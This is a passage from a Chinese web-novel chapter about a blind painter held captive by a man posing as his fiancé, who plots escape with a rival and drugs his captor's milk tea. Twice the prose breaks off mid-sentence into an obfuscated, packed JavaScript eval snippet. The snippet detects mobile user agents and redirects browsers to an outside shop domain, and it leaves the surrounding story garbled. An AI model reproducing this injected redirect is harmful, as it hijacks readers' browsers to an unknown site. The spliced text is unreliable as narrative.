程雀枝笑着说:“不是什么特别的日子,就不能给你做饭了吗?” 柯玉树也笑:“那就豆浆和油条吧,再来半笼小笼包。” 他把西餐都留给了程雀枝。 享用完美妙的早餐,程雀枝把碗放进洗碗机,说:“颜料这些都带回来了,咱们待会儿去画室待着,我再把画室窗口的封条打开,通通风。” 颜料大多有毒,柯玉树要了好几种有毒颜料,虽然对人体有害,但抛开剂量谈毒性都是耍流氓。 “行啊。” 片刻后,柯玉树坐在画架面前构思构图,程雀枝从来都没有艺术家的自觉,他对自己的手完全不在意,无论是拿刀下厨,还是拿扳手撬已经锈蚀的铁钉,手脚都十分利索。 甚至一点防护都没有。 没过一会儿封条被拆开,雪风裹着零下的温度溜进来,画室的大门也开着,成了一股穿堂风。 柯玉树紧了紧自己的围巾。 “怎么了?是觉得冷吗?”程雀枝兴致勃勃地问。 柯玉树摇头,“还好,不太冷。” 程雀枝却像是个大型犬一样扑了过来,扳手和木条被甩了一地。 “玉树呀,你应该冷的。” 柯玉树哪里不懂他在说什么,失笑:“是是是,亲爱的,我很冷。” 程雀枝一把拉开大衣把柯玉树裹了进去,两人在衣服里呼吸都交缠起来,暖融融的。 “现在还冷吗?” “一点都不冷了。” 程雀枝笑了起来,笑得胸膛都在颤抖,柯玉树的唇角也不自觉染上了一点笑意,两人玩闹了一阵,程雀枝才把柯玉树放出来,又找了件披风给他穿上。 回头一看画布,发现依旧空空荡荡,程雀枝奇道:“怎么一笔都没有画,是还在构思吗?” “是,今天暂时还没有灵感,亲爱的,你也来画画吧?”柯玉树说。 程雀枝奇怪:“怎么又让我画画?” “你画我,我画你,咱们面对面,不然我担心你偷偷看我的画。”柯玉树勾住程雀枝的领带,“我不喜欢在画画的时候被他人观看,更何况这是画的你,就更不能让你看了。” 不同的画家有不同的癖好,就比如说程雀枝,他没有灵感的时候就喜欢骂人,于是很顺利就接受了柯玉树的要求,点头说:“好啊,我搬个画架过来画,你放心,我保证不看你的画。” 他说完,果真搬了个画架放在柯玉树对面,画柯玉树的素描。 和以前的画不同,柯玉树现在就在程雀枝面前,程雀枝每一笔都凝结着他满满的爱意,在这最幸福的时刻,他居然连下笔都有些困难。 柯玉树也开始调制颜料,他虽然眼睛看不见,但手指依旧能感受颜料的浓稠度,如他所言,柯玉树对颜料的色彩了如指掌,程雀枝的作用仅仅是在最初区分颜色。 “真不用我帮你看看颜色吗?”程雀枝问。 他握着铅笔,却依旧难以动笔,想靠着柯玉树蹭来蹭去。 “真不用,我知道自己想画什么。”柯玉树说。 程雀枝这才又走回自己画架面前。 柯玉树站在窗口避风的位置,窗口的封条程雀枝只拆了一半,半米的空间,却有光斜斜照射进来,洒落在柯玉树身上,像是为他镀了一层金。 程雀枝看呆了。 柯玉树的一举一动就像是从画里走出来的人,上世纪的优雅艺术家都没有他优雅动人,程雀枝低头在看自己不知什么时候落笔的柯玉树,忽然将画纸撕了个粉碎。 “怎么了?” 柯玉树有些惊讶地抬头看他。 “画的不满意。”程雀枝闷闷地说。 柯玉树安抚他:“毕竟你不是专业的画家,慢慢来就行。” 真·艺术学院就读学生·程雀枝:“……行。” 两人对着画了一上午,柯玉树率先放下防尘布,遮挡程雀枝的视线。 “时间不早了,咱们该吃饭了。” 程雀枝面前的画架上干干净净,脚边散落着几个纸团也放下铅笔。 他如释重负地说:“行,我马上去做饭。” 柯玉树走在前面,程雀枝最后看了一眼他的画布,上面的防尘布阻隔掉了一切,程雀枝并没有擅自打开,因为他知道这幅画就像是一面照妖镜,他一时间竟有些不敢看下面到底是什么。 程雀枝忽然开始祈祷柯玉树画得慢一些,再慢一些,让真正的审判晚些来临,因为他真的不敢知道真相。 柯玉树这幅画画了两天整,从一开始的磕磕绊绊,到后面酣畅淋漓,柯玉树已经许久没有这样充沛的灵感了,他在脑海中回想着程雀枝的脸,耳边回荡着属于程栖山的声音,心情颇好。 程雀枝却没有那么好了。 他脚边的废弃纸团也越来越多,却一幅成品都没有,柯玉树不催,程雀枝倒是把自己搞得越来越焦虑。 日子照旧过。 这日早晨,程雀枝忽然接了个电话,居然直接砸碎了手中的杯子,他已经很久没有犯过病了,连忙抬头,还好柯玉树这时候在楼上画室。 程雀枝松了口气。 却没想到柯玉树早就听到响动,正悄悄推开一条缝偷听,隐隐约约听到程雀枝说:“……程栖山的人?!你们他妈做什么吃的,不行……等我过去!” 程雀枝用力挂断电话,上楼。 画室里,柯玉树刚好放下茶杯,疑惑看向他:“发生什么事了吗?” 画室虽然隔音,但程雀枝刚才摔杯子的声音确实有些大,他摸了摸鼻子解释说:“没拿稳杯子,摔了,刚好可以出门买个新的,顺便添置些水果,玉树,你有什么想吃的吗?” 柯玉树眯着眼睛,似笑非笑地摇头。 “你知道的,我对什么都不过敏,挑些雪山上没有的吧。” 程雀枝点头,拿了钥匙就转身出门。 大门再次落锁,柯玉树坐在画室的窗边,静静听着风,听到越野车在雪地远去的声音。 再之后,有枯枝落到地上,有人曲起手指轻轻敲了敲窗户。 柯玉树:“……我以为你至少会走门。” 他打开窗户的暗扣,将半扇窗尽数打开,程雀枝把窗开得很窄,伸个头进来都费劲,程诲南只能趴在窗户外面。 “我要是能走正门,还用得着爬窗户吗?”程诲南身手敏捷地调整自己的姿势,“咱们什么时候走?他手下的人太多,你得先把他打晕才行。” 柯玉树忽然向程诲南伸出手,程诲南一脸疑惑。 柯玉树:“外面有支撑点吗?我拉着你。” 他双目无神,却十分淡定,完全不像是被囚禁的人,对程诲南的态度也很冷淡疏离。 程诲南笑着握住柯玉树的手,说是借力支撑,他却没有用力,生怕把柯玉树给拉下来。 痴情小白花呢! 程诲南用手指轻轻勾了勾柯玉树的手心,即便如此,柯玉树也没有什么表情变化,只是问:“时机没到,不能走,再等等。” 程诲南扒拉着窗框盯着柯玉树看。 “行啊,都随你,不过小柯,你既然都知道他不是你未婚夫了,难道不好奇他的身份吗?” 从刚才到现在,柯玉树一直没有问程雀枝的身份,难道说他已经猜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17069932|193043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了吗? 这么聪明的小白花。 柯玉树半张脸隐藏在阴影里,他闭上眼睛,轻声说:“他是谁这重要吗?我只是想知道真正的程栖山在哪里,还有……真正的程栖山活着吗?” 柯玉树握着程诲南的手紧了紧,又像是才察觉到两人交握的手有多亲密,微微皱眉。 柯玉树在抗拒和他接触,程诲南看出来了,笑容也逐渐淡下去。 “放心,你未婚夫还活着。” 柯玉树肉眼可见地松了口气。 “那他为什么不来接我?是出了什么事吗?” 柯玉树这下子顾不得嫌弃程诲南了,而是紧紧握着他的手,看上去十分急切。 急切地关心着未婚夫的状况。 程诲南脸上的笑意彻底冷了下去,他翻山越岭来到雪线,现在整个人还挂在窗外被冷风吹,柯玉树却在关心那个死植物人? 程诲南,你是不是失了智? 甩了甩头,程诲南毕竟年纪在那里,即便再不爽也耐心颇好地骗人:“放心,他只是成了植物人,现在已经醒了,等着我把你救出去见面呢。” 他知道如果不搬出程栖山,柯玉树绝对不会信任他,即便是他拆穿了程雀枝的谎言。 果然,柯玉树紧张的神色逐渐放松下来。 “嗯,谢谢你,程先生。” 程诲南看着他,脸上又勾起嘲讽的笑容,程栖山当然没醒,现在还在国外当植物,他只是想引出柯玉树而已。 冷风吹进程诲南衣领,他感觉自己这一把老骨头都冻僵了,为了耍帅,他里面没穿几件衣服,外面也只是套了一件冲锋衣。 起初他只是想要在被囚禁的美人面前,展现自己英雄的形象,上路了才想起柯玉树现在是个盲人,差点被自己气笑了。 “那你想什么时候走?”程诲南问。 他已经等得有些不耐烦了,在柯玉树之前,程诲南身边从来没有一个人能停留两个月以上,无论男女,柯玉树是个例外,大半年了都没搞到手,程诲南越来越上头。 柯玉树符合他对伴侣的所有要求,很完美,他自然会多一点耐心。 “你有几分把握?程雀枝手下的分布都摸清楚了吗?还有他布置在关口的人。”柯玉树问。 程雀枝一直在防着程诲南,既然程诲南选择偷偷来,想必人手带得也不多,没必要硬碰硬。 “山下的关口安排了大概七个人,那些人都听他的命令,小柯,现在只有你想办法把他揍晕,或者让他丧失行动能力,”程诲南说,“制造骚乱,我带你走。” 他把计划原原本本和柯玉树说了,柯玉树垂下头。 “行,动手后我会按手环提醒你。” 程诲南放下心来,柯玉树果然聪明又有分寸,不愧是他看中的人。 “行,那我等你,记得要快,你未婚夫他还在等你。” 柯玉树安静点头,透过狭小的窗户,程诲南看着柯玉树,现在才有了他正在被囚禁的实感。 程诲南恋恋不舍地看着柯玉树,又忽然想起一件事。 “你打算怎么把他弄晕?” 柯玉树淡淡道:“我自然有我的方法。” “绝对不能在床上!”程诲南忽然大叫。 柯玉树:“嗯?” 程诲南立马改口:“没什么,没什么,我什么都没说,我先走——” 男人瞬间消失在了窗口,柯玉树只感觉一阵风刮过,他伸手探了探,什么人都没有,画室又重新归于寂静。 柯玉树茫然睁眼,喃喃:“下去得这么快吗?” 屋外,程诲南仰躺在稻草堆上,眼冒金星。 一阵头晕目眩和耳鸣后,他才嗤笑一声。 “怎么跟个毛头小子似的……” “算了,要是这样能领个合格的伴侣归来,也不亏。” 然后翻身跳下稻草堆,一瘸一拐地离开了。 背影寂寥又萧索。 47.大郎喝药了 47 10来分钟后,一辆黑色越野车猛然冲上山,停在门口,程雀枝着急忙慌赶回家,下车的时候还提着一袋番石榴。 他冲到门边开门,十几把锁叮铃咣啷一阵乱响,像是外面有恶犬疯狂在挠门。 确定这十几把锁都完好无损后,程雀枝心下稍安,推开大门一看,一切如常,程雀枝松了口气。 看来程诲南还没有找到他们这座山,只是在让人在山外骚扰。程雀枝早就在关口派了自己的人守着,只要程诲南的人一来就会被拦在山外,并通知他,他现在有恃无恐。 “玉树,我回来了。” 柯玉树正坐在沙发面前喝茶,闻言侧头,说:“你终于回来了,什么水果这么急?还需要你亲自去拿。” “红心芭乐,”程雀枝又把十几把锁一一锁好,“无籽的,新研发的品种。” 柯玉树这才微微有些惊讶。 “无籽的红心芭乐,那的确挺珍贵,值得你亲自跑一趟。” 程雀枝走到柯玉树面前,没再管他辛辛苦苦带上来的芭乐,一把将柯玉树抱进怀里,一阵凌冽的冰雪味和烟草味传入鼻腔,柯玉树轻轻皱眉。 “你抽烟了?” 程雀枝刚才确实在山外面抽了半包烟,急着上来,也没来得及散味道,顿时一阵懊悔。 他张了张口:“我……” 程栖山不吸烟。 程雀枝不知道该怎么解释,柯玉树却也没有继续追问下去,只是说:“抽烟就抽烟吧,以后少抽点就是,至少不能在我面前抽烟,剩下的时间随意。虽然我是你的未婚夫,但也会给你自由时间的。” 他抬头亲了亲程雀枝的唇角,烟味依旧萦绕鼻腔,柯玉树微微皱起了眉,推开了程雀枝,像是原本打算和程雀枝接吻,结果因为烟味放弃。 程雀枝虽然不满失去了亲亲,但他自知理亏,摸摸鼻子说:“我现在就去刷牙,顺便帮你把芭乐削皮切块。” 无籽的红心芭乐简直是人间美味,于是柯教授连连称赞。 又过了两天,程雀枝终于放心下来,因为他发现程诲南只会在山外面骚扰,一时半会儿找不到他们这里。但尽管如此,程雀枝还是在思考要不要柯玉树偷偷离开这里,程诲南都找到了他的大致位置,他自然不能坐以待毙。 还好现在主动权在程雀枝手上,他有的是时间把程诲南溜得到处跑,程诲南还总会慢他一步。 ——程氏离不了人。 这日雪霁,程雀枝爱怜地抚摸着柯玉树的头发:“头发长了,玉树体质好,头发也乌黑油亮。” 柯玉树特别可爱的习惯,他睡觉的时候很乖,不乱动,头发也不会乱,只是会随着他的睡觉姿势被压变形,一个不注意就会变成大波浪或者小碎卷。 像他人一样,水形,能适应一切环境。 “头发太长了,要不是有你帮忙洗,我早就想剪掉了。”柯玉树打了个哈欠,“今天应该能把画完成,你的素描呢?” 程雀枝脚下的废稿越来越多,明明天天都在画,却还是画不出一幅作品,因为他的心始终没有落到实处。 即便玉树再怎么配合他囚禁自己,再怎么给他心安的感觉,程雀枝都知道,他所有的一切都是偷来的,只要程栖山一日不死,他终究一直活在幻想之中,幻梦也会破灭。 他居然开始有了危险的想法。 “或许玉树的画完成了,我的画也会完成,要不今天再试一试?”程雀枝这样说。 实则他一点都没抱希望,画画对他来说似乎已经是上辈子的事了,曾经崇拜的偶像Ye先生成了情敌,他心中又压着那么多事,无论是欺骗还是背叛,都足以让一个灵感充沛的画家陷入绝望。 他有时候握笔都觉得恶心。 两人来到画室,窗口只开了点小缝,晴天的干风一直往里吹,柯玉树在画板面前站定,他眼睛看不见,画画不需要光源,程雀枝也不需要,因为他笔下的线条已经乱作一团。 所以程雀枝从始至终都在看柯玉树,一直看,怎么看都看不腻。 “亲爱的未婚夫,怎么感觉你不太开心?”柯玉树忽然从画板后面探出头来。 程雀枝连忙解释:“没有不开心,只是看你入迷了。” “真的吗?”柯玉树轻笑一声,“再看下去可是要收费的。” “多少钱?”程雀枝顺着他的话往下说。 “一杯奶茶吧,昨天你不是刚在牧民那里拿了鲜奶?做奶茶正好。”柯玉树说。 不再逼着自己画画,程雀枝去厨房给恋人做奶茶,画室大门关上,柯玉树又等了一会儿,才在画上落下最后一笔。 柯玉树不会过多关注绘制完成的画,他拉下防尘布,检查自己刚才用过的颜料。程雀枝带回来的颜料他都用上了,甚至已经用了一大半,特别是装缬草的瓶子,空空如也。 将颜料用盖子盖上,柯玉树坐在沙发上按了三次运动手环,熟悉的震动声音响起。 约摸十分钟后,程雀枝端着奶茶回来,看到柯玉树没在画画,惊讶:“怎么不画了?” 盘子里放着搪瓷缸,奶茶热气腾腾,柯玉树将自己常用的保温杯推到程雀枝面前。 “画完了,再过一会就能干。” “真的吗?”程雀枝喜道,“玉树真厉害,居然几天时间就画完了。” 他这会儿不想喝奶茶,干脆把奶茶全都倒进了柯玉树的保温杯。 “嗯,毕竟你是我的缪斯。”柯玉树淡淡说,“如有神助。” 奶茶还很烫,柯玉树伸手在保温杯上挥了挥,摇晃,最后给自己倒了一小杯晾着。 程雀枝在柯玉树旁边坐下,目光紧紧盯着画上的防尘布,他很想看,因为这是柯玉树给他画的画像,在柯玉树记不得程栖山脸的情况下,绘制的属于他的画。 从前他是不敢看那幅画的,但现在木已成舟,程雀枝忽然有些豁出去了。 不就是一幅画? 万一玉树画的是他呢! “现在暂时先不要打开,等颜料干了,我给你个惊喜。”柯玉树说。 他说着,还浅浅勾起了一抹笑,程雀枝的心跳也快了些,让人像是爱侣那般调笑着。 不,他们现在就是爱侣。 于是程雀枝点头说:“嗯!放心玉树,我绝对不会偷偷看,一定会等你允许了再看。” 柯玉树但笑不语,他低头抿了一口温热的奶茶,却轻轻皱起了眉。 程雀枝:“怎么了?” 柯玉树: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17076454|193043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这味道似乎有些怪,不甜。” 他把小杯奶茶递给程雀枝,程雀枝接过来,一口气喝了半杯,也微微皱眉。 “嗯?似乎是有点奇怪的味道,但确实够甜啊,我加了好几勺红糖。” 柯玉树又给他倒了一杯。 “我真的觉得不甜。” 程雀枝又喝下整整一杯奶茶,电光火石间,他像是想到了什么,猛然看向柯玉树,然后艰难地勾起唇角。 “嗯,似乎是这奶变质了,玉树舌头很灵敏。” 难道说程诲南找到了供奶的牧民? 他在奶里面动了手脚?! “变质?”柯玉树忽然站了起来,一脸急切,“那你还喝了两杯?程栖山,你快去厕所把奶茶都吐出来。” 他走到程雀枝面前,深深皱眉,想拉着程雀枝去厕所。 “我现在暂时还没事,可能只是会拉肚子。”程雀枝说,“玉树不要担心。” 程诲南的手段果然狠辣,他明明检查过牛奶,其余食材也没问题,究竟是哪里出了问题? 柯玉树把程雀枝扶下楼,在沙发上坐下,程雀枝脸色越来越难看。 “程栖山,你的声音似乎有些虚,肚子难受吗?”柯玉树问,“还有没有其他地方不舒服?” 程雀枝拍拍柯玉树的肩膀,安慰道:“没事,变质的牛奶而已,死不了人,玉树去帮我拿点药吧?” 这座房子的坐标就连他最信任的助理都不知道,牧民更是无从得知,就算是程诲南找到牧民,给他下药,也带不走玉树。 大不了他睡一觉,把药物代谢掉,明天再去处理这老畜生。 他也不怕玉树喝了! 柯玉树去给他拿药,程雀枝捞过手机,让下属去查最近和牧民接触的人,并且告诫他们有异动一定要发消息。 做完这一切,程雀枝手腕脱力,将手机摔到了沙发上。 柯玉树刚好回来,连忙把程雀枝扶起。 “我把药都拿过来了,栖山,你看哪样有用?” 惶惶无措的模样让程雀枝心软得一塌糊涂,程雀枝随便捏了包药,让柯玉树喂自己吃下,终于坚持不住,用头蹭了蹭柯玉树的臂弯。 “好困啊,玉树,咱们一起睡会儿?” 柯玉树轻轻刮了一下他的鼻子:“好,你是病人,你说了算。” 两人靠在大沙发上相依偎,盖着柔软厚实的毯子,屋子里的壁炉缓缓燃烧,小桌旁围着的红泥小火炉,时不时炸开一两个火星,令程雀枝心安。 甚至他的恋人还在旁边,轻轻拍着他的肩膀,声音温柔而动人:“睡吧,睡醒了再拆我给你的惊喜。” 惊喜。 程雀枝缓缓闭上了眼睛,期待着柯玉树口中所说的惊喜。 只要那幅画和自己有十分之一的相似,程雀枝想,他或许会鼓起勇气向柯玉树诉说自己心意,再循循善诱,诱导柯玉树探知真相,探知他的真实身份。 玉树这般好,到时候会做出什么选择呢?程雀枝不知道,他只知道一直陪着柯玉树的是自己,无论如何总有一争之力。 他……想真正得到玉树。 他不想再当替身,也不想再当小三了。 程雀枝彻底闭上了双眼。